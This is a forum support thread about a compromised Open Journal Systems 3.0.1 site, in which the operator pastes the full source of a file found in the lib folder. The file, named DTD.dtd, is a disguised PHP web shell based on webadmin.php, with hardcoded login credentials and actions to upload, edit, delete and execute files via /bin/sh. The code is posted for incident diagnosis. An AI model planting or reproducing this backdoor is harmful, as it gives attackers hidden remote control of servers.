OJS 3.0.1 hacking incident

Our OJS 3.0.1 have been hacked. We have it upgraded from 2.4.8-1. The files folder was placed outside the root directory and we noticed multiple .phtml files found. Any idea how to fix it?

Hi @karma,

Where were the .phtml files placed? Where was your files directory located?

If you’re seeing malicious .phtml files in your files directory, as long as your files directory isn’t directly web-accessible, these can’t be invoked from outside and don’t represent a danger. It’s possible that someone is creating an author account and uploading a submission in order to see if your system is exploitable but finding that it isn’t.

If on the other hand you are seeing some indication that your site has been hacked, please describe it and I’ll see what I can find.

Regards,
Alec Smecher
Public Knowledge Project Team

Thanks Alec.
The .phtml files were found in the files directory outside the root directory (~web accessible). However, some other files were added to our current installation, with .dtd extensions. No files were deleted but an extra folder was also added.

Hi @karma,

Can you give some specifics, e.g. what files were added? I’ve never heard of .dtd files being used maliciously; perhaps there’s another explanation.

Regards,
Alec Smecher
Public Knowledge Project Team

The hacking file was DTD.dtd. located under lib folder. It looks like a backdoor file from searching the blogs.

Hi @karma,

That doesn’t sound like part of OJS, but I’m not aware of any way to put malicious content in a DTD file. Did it have another suffix, e.g. .php or .phtml?

Did you previously have your files directory in a publicly accessible location? If that’s the case, and your site was hacked via that mechanism, it’s necessary to take a very thorough review of the contents of your site. If it’s possible that a backdoor was installed at that time, then was preserved across the upgrade to OJS 3.x, then that might explain it.

I’m not currently aware of any holes in OJS 3.0.x, though of course if yu’re able to provide more details I’d be happy to investigate further.

Regards,
Alec Smecher
Public Knowledge Project Team

Hi Alex,

Here are the DTD.dtd file content:

<?php // --- pop-up

$user = “kampret”;

$pass = “kampret”;

if (($_SERVER[“PHP_AUTH_USER”] != $user) || (($_SERVER[“PHP_AUTH_PW”]) != $pass))

{

header(“WWW-Authenticate: Basic realm="no man land"”);

header(“HTTP/1.0 401 Unauthorized”);

exit();

}

//
/*

  • webadmin.php - a simple Web-based file manager
  • Copyright (C) 2004-2011 Daniel Wacker [daniel dot wacker at web dot de]
  • This program is free software; you can redistribute it and/or modify
  • it under the terms of the GNU General Public License as published by
  • the Free Software Foundation; either version 2 of the License, or
  • (at your option) any later version.
  • This program is distributed in the hope that it will be useful,
  • but WITHOUT ANY WARRANTY; without even the implied warranty of
  • MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
  • GNU General Public License for more details.
  • You should have received a copy of the GNU General Public License
  • along with this program; if not, write to the Free Software
  • Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.

  • While using this script, do NOT navigate with your browser’s back and
  • forward buttons! Always open files in a new browser tab!

  • This is Version 0.9, revision 12
  • =========================================================================
  • Changes of revision 12
  • [bhb at o2 dot pl]
  • added Polish translation
  • [daniel dot wacker at web dot de]
  • switched to UTF-8
  • fixed undefined variable
  • Changes of revision 11
  • [daniel dot wacker at web dot de]
  • fixed handling if folder isn’t readable
  • Changes of revision 10
  • [alex dash smirnov at web.de]
  • added Russian translation
  • [daniel dot wacker at web dot de]
  • added to achieve valid XHTML (thanks to Marc Magos)
  • improved delete function
  • [ava at asl dot se]
  • new list order: folders first
  • Changes of revision 9
  • [daniel dot wacker at web dot de]
  • added workaround for directory listing, if lstat() is disabled
  • fixed permisson of uploaded files (thanks to Stephan Duffner)
  • Changes of revision 8
  • [okankan at stud dot sdu dot edu dot tr]
  • added Turkish translation
  • [j at kub dot cz]
  • added Czech translation
  • [daniel dot wacker at web dot de]
  • improved charset handling
  • Changes of revision 7
  • [szuniga at vtr dot net]
  • added Spanish translation
  • [lars at soelgaard dot net]
  • added Danish translation
  • [daniel dot wacker at web dot de]
  • improved rename dialog
  • Changes of revision 6
  • [nederkoorn at tiscali dot nl]
  • added Dutch translation
  • Changes of revision 5
  • [daniel dot wacker at web dot de]
  • added language auto select
  • fixed symlinks in directory listing
  • removed word-wrap in edit textarea
  • Changes of revision 4
  • [daloan at guideo dot fr]
  • added French translation
  • [anders at wiik dot cc]
  • added Swedish translation
  • Changes of revision 3
  • [nzunta at gabriele dash erba dot it]
  • improved Italian translation
  • Changes of revision 2
  • [daniel dot wacker at web dot de]
  • got images work in some old browsers
  • fixed creation of directories
  • fixed files deletion
  • improved path handling
  • added missing word ‘not_created’
  • [till at tuxen dot de]
  • improved human readability of file sizes
  • [nzunta at gabriele dash erba dot it]
  • added Italian translation
  • Changes of revision 1
  • [daniel dot wacker at web dot de]
  • webadmin.php completely rewritten:
    • clean XHTML/CSS output
    • several files selectable
    • support for windows servers
    • no more treeview, because
  •  - webadmin.php is a >simple< file manager
    
  •  - performance problems (too much additional code)
    
  •  - I don't like: frames, java-script, to reload after every treeview-click
    
    • execution of shell scripts
    • introduced revision numbers

/* ------------------------------------------------------------------------- */

/* Your language:

  • ‘en’ - English
  • ‘de’ - German
  • ‘fr’ - French
  • ‘it’ - Italian
  • ‘nl’ - Dutch
  • ‘se’ - Swedish
  • ‘sp’ - Spanish
  • ‘dk’ - Danish
  • ‘tr’ - Turkish
  • ‘cs’ - Czech
  • ‘ru’ - Russian
  • ‘pl’ - Polish
  • ‘auto’ - autoselect
    */
    $lang = ‘auto’;

/* Homedir:

  • For example: ‘./’ - the script’s directory
    */
    $homedir = ‘./’;

/* Size of the edit textarea
*/
$editcols = 80;
$editrows = 25;

/* -------------------------------------------

  • Optional configuration (remove # to enable)
    */

/* Permission of created directories:

  • For example: 0705 would be ‘drwx—r-x’.
    */

$dirpermission = 0705;

/* Permission of created files:

  • For example: 0604 would be ‘-rw----r–’.
    */

$filepermission = 0604;

/* Filenames related to the apache web server:
*/
$htaccess = ‘.htaccess’;
$htpasswd = ‘.htpasswd’;

/* ------------------------------------------------------------------------- */

if (get_magic_quotes_gpc()) {
array_walk($_GET, ‘strip’);
array_walk($_POST, ‘strip’);
array_walk($_REQUEST, ‘strip’);
}

if (array_key_exists(‘image’, $_GET)) {
header(‘Content-Type: image/gif’);
die(getimage($_GET[‘image’]));
}

if (!function_exists(‘lstat’)) {
function lstat ($filename) {
return stat($filename);
}
}

$delim = DIRECTORY_SEPARATOR;

if (function_exists(‘php_uname’)) {
$win = (strtoupper(substr(PHP_OS, 0, 3)) === ‘WIN’) ? true : false;
} else {
$win = ($delim == ‘\’) ? true : false;
}

if (!empty($_SERVER[‘PATH_TRANSLATED’])) {
$scriptdir = dirname($_SERVER[‘PATH_TRANSLATED’]);
} elseif (!empty($_SERVER[‘SCRIPT_FILENAME’])) {
$scriptdir = dirname($_SERVER[‘SCRIPT_FILENAME’]);
} elseif (function_exists(‘getcwd’)) {
$scriptdir = getcwd();
} else {
$scriptdir = ‘.’;
}
$homedir = relative2absolute($homedir, $scriptdir);

$dir = (array_key_exists(‘dir’, $_REQUEST)) ? $_REQUEST[‘dir’] : $homedir;

if (array_key_exists(‘olddir’, $_POST) && !path_is_relative($_POST[‘olddir’])) {
$dir = relative2absolute($dir, $_POST[‘olddir’]);
}

$directory = simplify_path(addslash($dir));

$files = array();
$action = ‘’;
if (!empty($_POST[‘submit_all’])) {
$action = $_POST[‘action_all’];
for ($i = 0; $i < $_POST[‘num’]; $i++) {
if (array_key_exists(“checked$i”, $_POST) && $_POST[“checked$i”] == ‘true’) {
$files = $_POST[“file$i”];
}
}
} elseif (!empty($_REQUEST[‘action’])) {
$action = $_REQUEST[‘action’];
$files = relative2absolute($_REQUEST[‘file’], $directory);
} elseif (!empty($_POST[‘submit_upload’]) && !empty($_FILES[‘upload’][‘name’])) {
$files = $_FILES[‘upload’];
$action = ‘upload’;
} elseif (array_key_exists(‘num’, $_POST)) {
for ($i = 0; $i < $_POST[‘num’]; $i++) {
if (array_key_exists(“submit$i”, $_POST)) break;
}
if ($i < $_POST[‘num’]) {
$action = $_POST[“action$i”];
$files = $_POST[“file$i”];
}
}
if (empty($action) && (!empty($_POST[‘submit_create’]) || (array_key_exists(‘focus’, $_POST) && $_POST[‘focus’] == ‘create’)) && !empty($_POST[‘create_name’])) {
$files = relative2absolute($_POST[‘create_name’], $directory);
switch ($_POST[‘create_type’]) {
case ‘directory’:
$action = ‘create_directory’;
break;
case ‘file’:
$action = ‘create_file’;
}
}
if (sizeof($files) == 0) $action = ‘’; else $file = reset($files);

if ($lang == ‘auto’) {
if (array_key_exists(‘HTTP_ACCEPT_LANGUAGE’, $_SERVER) && strlen($_SERVER[‘HTTP_ACCEPT_LANGUAGE’]) >= 2) {
$lang = substr($_SERVER[‘HTTP_ACCEPT_LANGUAGE’], 0, 2);
} else {
$lang = ‘en’;
}
}

$words = getwords($lang);

if ($site_charset == ‘auto’) {
$site_charset = $word_charset;
}

$cols = ($win) ? 4 : 7;

if (!isset($dirpermission)) {
$dirpermission = (function_exists(‘umask’)) ? (0777 & ~umask()) : 0755;
}
if (!isset($filepermission)) {
$filepermission = (function_exists(‘umask’)) ? (0666 & ~umask()) : 0644;
}

if (!empty($_SERVER[‘SCRIPT_NAME’])) {
$self = html(basename($_SERVER[‘SCRIPT_NAME’]));
} elseif (!empty($_SERVER[‘PHP_SELF’])) {
$self = html(basename($_SERVER[‘PHP_SELF’]));
} else {
$self = ‘’;
}

if (!empty($_SERVER[‘SERVER_SOFTWARE’])) {
if (strtolower(substr($_SERVER[‘SERVER_SOFTWARE’], 0, 6)) == ‘apache’) {
$apache = true;
} else {
$apache = false;
}
} else {
$apache = true;
}

switch ($action) {

case ‘view’:

if (is_script($file)) {

  /* highlight_file is a mess! */
  ob_start();
  highlight_file($file);
  $src = ereg_replace('<font color="([^"]*)">', '<span style="color: \1">', ob_get_contents());
  $src = str_replace(array('</font>', "\r", "\n"), array('</span>', '', ''), $src);
  ob_end_clean();
  html_header();
  echo '<h2 style="text-align: left; margin-bottom: 0">' . html($file) . '</h2>

';

  for ($i = 1; $i <= sizeof(file($file)); $i++) echo "$i\n";
  echo '</code></pre>
' . $src . '

';

  html_footer();

} else {

  header('Content-Type: ' . getmimetype($file));
  header('Content-Disposition: filename=' . basename($file));
  readfile($file);

}

break;

case ‘download’:

header(‘Pragma: public’);
header(‘Expires: 0’);
header(‘Cache-Control: must-revalidate, post-check=0, pre-check=0’);
header('Content-Type: ’ . getmimetype($file));
header(‘Content-Disposition: attachment; filename=’ . basename($file) . ‘;’);
header('Content-Length: ’ . filesize($file));

readfile($file);

break;

case ‘upload’:

$dest = relative2absolute($file[‘name’], $directory);

if (@file_exists($dest)) {
listing_page(error(‘already_exists’, $dest));
} elseif (@move_uploaded_file($file[‘tmp_name’], $dest)) {
@chmod($dest, $filepermission);
listing_page(notice(‘uploaded’, $file[‘name’]));
} else {
listing_page(error(‘not_uploaded’, $file[‘name’]));
}

break;

case ‘create_directory’:

if (@file_exists($file)) {
listing_page(error(‘already_exists’, $file));
} else {
$old = @umask(0777 & ~$dirpermission);
if (@mkdir($file, $dirpermission)) {
listing_page(notice(‘created’, $file));
} else {
listing_page(error(‘not_created’, $file));
}
@umask($old);
}

break;

case ‘create_file’:

if (@file_exists($file)) {
listing_page(error(‘already_exists’, $file));
} else {
$old = @umask(0777 & ~$filepermission);
if (@touch($file)) {
edit($file);
} else {
listing_page(error(‘not_created’, $file));
}
@umask($old);
}

break;

case ‘execute’:

chdir(dirname($file));

$output = array();
$retval = 0;
exec(‘echo "./’ . basename($file) . ‘" | /bin/sh’, $output, $retval);

$error = ($retval == 0) ? false : true;

if (sizeof($output) == 0) $output = array(‘<’ . $words[‘no_output’] . ‘>’);

if ($error) {
listing_page(error(‘not_executed’, $file, implode(“\n”, $output)));
} else {
listing_page(notice(‘executed’, $file, implode(“\n”, $output)));
}

break;

case ‘delete’:

if (!empty($_POST[‘no’])) {
listing_page();
} elseif (!empty($_POST[‘yes’])) {

  $failure = array();
  $success = array();
  foreach ($files as $file) {
  	if (del($file)) {
  		$success[] = $file;
  	} else {
  		$failure[] = $file;
  	}
  }
  $message = '';
  if (sizeof($failure) > 0) {
  	$message = error('not_deleted', implode("\n", $failure));
  }
  if (sizeof($success) > 0) {
  	$message .= notice('deleted', implode("\n", $success));
  }
  listing_page($message);

} else {

  html_header();
  echo '<form action="' . $self . '" method="post">
';
  request_dump();
  echo "\t<b>" . word('really_delete') . '</b>

';

  foreach ($files as $file) {
  	echo "\t" . html($file) . "<br />\n";
  }
  echo '	</p>

';

  html_footer();

}

break;

case ‘rename’:

if (!empty($_POST[‘destination’])) {

  $dest = relative2absolute($_POST['destination'], $directory);
  if (!@file_exists($dest) && @rename($file, $dest)) {
  	listing_page(notice('renamed', $file, $dest));
  } else {
  	listing_page(error('not_renamed', $file, $dest));
  }

} else {

  $name = basename($file);
  html_header();
  echo '<form action="' . $self . '" method="post">
' . word('rename_file') . '

' . html($file) . '

' . substr($file, 0, strlen($file) - strlen($name)) . '

[ ' . word('back') . ' ]

';

  html_footer();

}

break;

case ‘move’:

if (!empty($_POST[‘destination’])) {

  $dest = relative2absolute($_POST['destination'], $directory);
  $failure = array();
  $success = array();
  foreach ($files as $file) {
  	$filename = substr($file, strlen($directory));
  	$d = $dest . $filename;
  	if (!@file_exists($d) && @rename($file, $d)) {
  		$success[] = $file;
  	} else {
  		$failure[] = $file;
  	}
  }
  $message = '';
  if (sizeof($failure) > 0) {
  	$message = error('not_moved', implode("\n", $failure), $dest);
  }
  if (sizeof($success) > 0) {
  	$message .= notice('moved', implode("\n", $success), $dest);
  }
  listing_page($message);

} else {

  html_header();
  echo '<form action="' . $self . '" method="post">
';
  request_dump();
  echo "\t<b>" . word('move_files') . '</b>

';

  foreach ($files as $file) {
  	echo "\t" . html($file) . "<br />\n";
  }
  echo '	</p>

' . word('destination') . ':

[ ' . word('back') . ' ]

';

  html_footer();

}

break;

case ‘copy’:

if (!empty($_POST[‘destination’])) {

  $dest = relative2absolute($_POST['destination'], $directory);
  if (@is_dir($dest)) {
  	$failure = array();
  	$success = array();
  	foreach ($files as $file) {
  		$filename = substr($file, strlen($directory));
  		$d = addslash($dest) . $filename;
  		if (!@is_dir($file) && !@file_exists($d) && @copy($file, $d)) {
  			$success[] = $file;
  		} else {
  			$failure[] = $file;
  		}
  	}
  	$message = '';
  	if (sizeof($failure) > 0) {
  		$message = error('not_copied', implode("\n", $failure), $dest);
  	}
  	if (sizeof($success) > 0) {
  		$message .= notice('copied', implode("\n", $success), $dest);
  	}
  	listing_page($message);
  } else {
  	if (!@file_exists($dest) && @copy($file, $dest)) {
  		listing_page(notice('copied', $file, $dest));
  	} else {
  		listing_page(error('not_copied', $file, $dest));
  	}
  }

} else {

  html_header();
  echo '<form action="' . $self . '" method="post">
';
  request_dump();
  echo "\n<b>" . word('copy_files') . '</b>

';

  foreach ($files as $file) {
  	echo "\t" . html($file) . "<br />\n";
  }
  echo '	</p>

' . word('destination') . ':

[ ' . word('back') . ' ]

';

  html_footer();

}

break;

case ‘create_symlink’:

if (!empty($_POST[‘destination’])) {

  $dest = relative2absolute($_POST['destination'], $directory);
  if (substr($dest, -1, 1) == $delim) $dest .= basename($file);
  if (!empty($_POST['relative'])) $file = absolute2relative(addslash(dirname($dest)), $file);
  if (!@file_exists($dest) && @symlink($file, $dest)) {
  	listing_page(notice('symlinked', $file, $dest));
  } else {
  	listing_page(error('not_symlinked', $file, $dest));
  }

} else {

  html_header();
  echo '<form action="' . $self . '" method="post">
' . word('destination') . ': ' . html($file) . '
' . word('relative') . '
' . word('symlink') . ':

[ ' . word('back') . ' ]

';

  html_footer();

}

break;

case ‘edit’:

if (!empty($_POST[‘save’])) {

  $content = str_replace("\r\n", "\n", $_POST['content']);
  if (($f = @fopen($file, 'w')) && @fwrite($f, $content) !== false && @fclose($f)) {
  	listing_page(notice('saved', $file));
  } else {
  	listing_page(error('not_saved', $file));
  }

} else {

  if (@is_readable($file) && @is_writable($file)) {
  	edit($file);
  } else {
  	listing_page(error('not_edited', $file));
  }

}

break;

case ‘permission’:

if (!empty($_POST[‘set’])) {

  $mode = 0;
  if (!empty($_POST['ur'])) $mode |= 0400; if (!empty($_POST['uw'])) $mode |= 0200; if (!empty($_POST['ux'])) $mode |= 0100;
  if (!empty($_POST['gr'])) $mode |= 0040; if (!empty($_POST['gw'])) $mode |= 0020; if (!empty($_POST['gx'])) $mode |= 0010;
  if (!empty($_POST['or'])) $mode |= 0004; if (!empty($_POST['ow'])) $mode |= 0002; if (!empty($_POST['ox'])) $mode |= 0001;
  if (@chmod($file, $mode)) {
  	listing_page(notice('permission_set', $file, decoct($mode)));
  } else {
  	listing_page(error('permission_not_set', $file, decoct($mode)));
  }

} else {

  html_header();
  $mode = fileperms($file);
  echo '<form action="' . $self . '" method="post">

' . phrase('permission_for', $file) . '


' . word('owner') . ' ' . word('group') . ' ' . word('other') . '
' . word('read') . ':
' . word('write') . ':
' . word('execute') . ':

[ ' . word('back') . ' ]

';

  html_footer();

}

break;

default:

listing_page();

}

/* ------------------------------------------------------------------------- */

function getlist ($directory) {
global $delim, $win;

if ($d = @opendir($directory)) {

  while (($filename = @readdir($d)) !== false) {
  	$path = $directory . $filename;
  	if ($stat = @lstat($path)) {
  		$file = array(
  			'filename'    => $filename,
  			'path'        => $path,
  			'is_file'     => @is_file($path),
  			'is_dir'      => @is_dir($path),
  			'is_link'     => @is_link($path),
  			'is_readable' => @is_readable($path),
  			'is_writable' => @is_writable($path),
  			'size'        => $stat['size'],
  			'permission'  => $stat['mode'],
  			'owner'       => $stat['uid'],
  			'group'       => $stat['gid'],
  			'mtime'       => @filemtime($path),
  			'atime'       => @fileatime($path),
  			'ctime'       => @filectime($path)
  		);
  		if ($file['is_dir']) {
  			$file['is_executable'] = @file_exists($path . $delim . '.');
  		} else {
  			if (!$win) {
  				$file['is_executable'] = @is_executable($path);
  			} else {
  				$file['is_executable'] = true;
  			}
  		}
  		if ($file['is_link']) $file['target'] = @readlink($path);
  		if (function_exists('posix_getpwuid')) $file['owner_name'] = @reset(posix_getpwuid($file['owner']));
  		if (function_exists('posix_getgrgid')) $file['group_name'] = @reset(posix_getgrgid($file['group']));
  		$files[] = $file;
  	}
  }
  return $files;

} else {
return false;
}

}

function sortlist ($list, $key, $reverse) {

$dirs = array();
$files = array();

for ($i = 0; $i < sizeof($list); $i++) {
if ($list[$i][‘is_dir’]) $dirs = $list[$i];
else $files = $list[$i];
}

quicksort($dirs, 0, sizeof($dirs) - 1, $key);
if ($reverse) $dirs = array_reverse($dirs);

quicksort($files, 0, sizeof($files) - 1, $key);
if ($reverse) $files = array_reverse($files);

return array_merge($dirs, $files);

}

function quicksort (&$array, $first, $last, $key) {

if ($first < $last) {

  $cmp = $array[floor(($first + $last) / 2)][$key];
  $l = $first;
  $r = $last;
  while ($l <= $r) {
  	while ($array[$l][$key] < $cmp) $l++;
  	while ($array[$r][$key] > $cmp) $r--;
  	if ($l <= $r) {
  		$tmp = $array[$l];
  		$array[$l] = $array[$r];
  		$array[$r] = $tmp;
  		$l++;
  		$r--;
  	}
  }
  quicksort($array, $first, $r, $key);
  quicksort($array, $l, $last, $key);

}

}

function permission_octal2string ($mode) {

if (($mode & 0xC000) === 0xC000) {
$type = ‘s’;
} elseif (($mode & 0xA000) === 0xA000) {
$type = ‘l’;
} elseif (($mode & 0x8000) === 0x8000) {
$type = ‘-’;
} elseif (($mode & 0x6000) === 0x6000) {
$type = ‘b’;
} elseif (($mode & 0x4000) === 0x4000) {
$type = ‘d’;
} elseif (($mode & 0x2000) === 0x2000) {
$type = ‘c’;
} elseif (($mode & 0x1000) === 0x1000) {
$type = ‘p’;
} else {
$type = ‘?’;
}

$owner = ($mode & 00400) ? ‘r’ : ‘-’;
$owner .= ($mode & 00200) ? ‘w’ : ‘-’;
if ($mode & 0x800) {
$owner .= ($mode & 00100) ? ‘s’ : ‘S’;
} else {
$owner .= ($mode & 00100) ? ‘x’ : ‘-’;
}

$group = ($mode & 00040) ? ‘r’ : ‘-’;
$group .= ($mode & 00020) ? ‘w’ : ‘-’;
if ($mode & 0x400) {
$group .= ($mode & 00010) ? ‘s’ : ‘S’;
} else {
$group .= ($mode & 00010) ? ‘x’ : ‘-’;
}

$other = ($mode & 00004) ? ‘r’ : ‘-’;
$other .= ($mode & 00002) ? ‘w’ : ‘-’;
if ($mode & 0x200) {
$other .= ($mode & 00001) ? ‘t’ : ‘T’;
} else {
$other .= ($mode & 00001) ? ‘x’ : ‘-’;
}

return $type . $owner . $group . $other;

}

function is_script ($filename) {
return ereg(‘.php$|.php3$|.php4$|.php5$’, $filename);
}

function getmimetype ($filename) {
static $mimes = array(
‘.jpg$|.jpeg$’ => ‘image/jpeg’,
‘.gif$’ => ‘image/gif’,
‘.png$’ => ‘image/png’,
‘.html$|.html$’ => ‘text/html’,
‘.txt$|.asc$’ => ‘text/plain’,
‘.xml$|.xsl$’ => ‘application/xml’,
‘.pdf$’ => ‘application/pdf’
);

foreach ($mimes as $regex => $mime) {
if (eregi($regex, $filename)) return $mime;
}

// return ‘application/octet-stream’;
return ‘text/plain’;

}

function del ($file) {
global $delim;

if (!file_exists($file)) return false;

if (@is_dir($file) && !@is_link($file)) {

  $success = false;
  if (@rmdir($file)) {
  	$success = true;
  } elseif ($dir = @opendir($file)) {
  	$success = true;
  	while (($f = readdir($dir)) !== false) {
  		if ($f != '.' && $f != '..' && !del($file . $delim . $f)) {
  			$success = false;
  		}
  	}
  	closedir($dir);
  	if ($success) $success = @rmdir($file);
  }
  return $success;

}

return @unlink($file);

}

function addslash ($directory) {
global $delim;

if (substr($directory, -1, 1) != $delim) {
return $directory . $delim;
} else {
return $directory;
}

}

function relative2absolute ($string, $directory) {

if (path_is_relative($string)) {
return simplify_path(addslash($directory) . $string);
} else {
return simplify_path($string);
}

}

function path_is_relative ($path) {
global $win;

if ($win) {
return (substr($path, 1, 1) != ‘:’);
} else {
return (substr($path, 0, 1) != ‘/’);
}

}

function absolute2relative ($directory, $target) {
global $delim;

$path = ‘’;
while ($directory != $target) {
if ($directory == substr($target, 0, strlen($directory))) {
$path .= substr($target, strlen($directory));
break;
} else {
$path .= ‘…’ . $delim;
$directory = substr($directory, 0, strrpos(substr($directory, 0, -1), $delim) + 1);
}
}
if ($path == ‘’) $path = ‘.’;

return $path;

}

function simplify_path ($path) {
global $delim;

if (@file_exists($path) && function_exists(‘realpath’) && @realpath($path) != ‘’) {
$path = realpath($path);
if (@is_dir($path)) {
return addslash($path);
} else {
return $path;
}
}

$pattern = $delim . ‘.’ . $delim;

if (@is_dir($path)) {
$path = addslash($path);
}

while (strpos($path, $pattern) !== false) {
$path = str_replace($pattern, $delim, $path);
}

$e = addslashes($delim);
$regex = $e . ‘((.[^.’ . $e . ‘][^’ . $e . ‘])|(..[^’ . $e . ‘]+)|([^.][^’ . $e . ']))’ . $e . ‘..’ . $e;

while (ereg($regex, $path)) {
$path = ereg_replace($regex, $delim, $path);
}

return $path;

}

function human_filesize ($filesize) {

$suffices = ‘kMGTPE’;

$n = 0;
while ($filesize >= 1000) {
$filesize /= 1024;
$n++;
}

$filesize = round($filesize, 3 - strpos($filesize, ‘.’));

if (strpos($filesize, ‘.’) !== false) {
while (in_array(substr($filesize, -1, 1), array(‘0’, ‘.’))) {
$filesize = substr($filesize, 0, strlen($filesize) - 1);
}
}

$suffix = (($n == 0) ? ‘’ : substr($suffices, $n - 1, 1));

return $filesize . " {$suffix}B";

}

function strip (&$str) {
$str = stripslashes($str);
}

/* ------------------------------------------------------------------------- */

function listing_page ($message = null) {
global $self, $directory, $sort, $reverse;

html_header();

$list = getlist($directory);

if (array_key_exists(‘sort’, $_GET)) $sort = $_GET[‘sort’]; else $sort = ‘filename’;
if (array_key_exists(‘reverse’, $_GET) && $_GET[‘reverse’] == ‘true’) $reverse = true; else $reverse = false;

echo '

webadmin.php

';

directory_choice();

if (!empty($message)) {
spacer();
echo $message;
}

if (@is_writable($directory)) {
upload_box();
create_box();
} else {
spacer();
}

if ($list) {
$list = sortlist($list, $sort, $reverse);
listing($list);
} else {
echo error(‘not_readable’, $directory);
}

echo '

';

html_footer();

}

function listing ($list) {
global $directory, $homedir, $sort, $reverse, $win, $cols, $date_format, $self;

echo '

smiley ';

column_title(‘filename’, $sort, $reverse);
column_title(‘size’, $sort, $reverse);

if (!$win) {
column_title(‘permission’, $sort, $reverse);
column_title(‘owner’, $sort, $reverse);
column_title(‘group’, $sort, $reverse);
}

Alec had an important question there above: “Did you previously have your files directory in a publicly accessible location?”

Another important question is that do you have other similar applications on the same server, maybe in a different folder?

With the dtd file extension that file is useless for a hacker. But it changes if the hacker can change the extension to php. I think that the dtd is there just to make that file less apparent.

1 Like

We took over after the upgrade from 2.4.8-1… so I am not sure if the files directory was publicly accessible or not before the upgrade.

We are not running any other application on the server aside from OJS.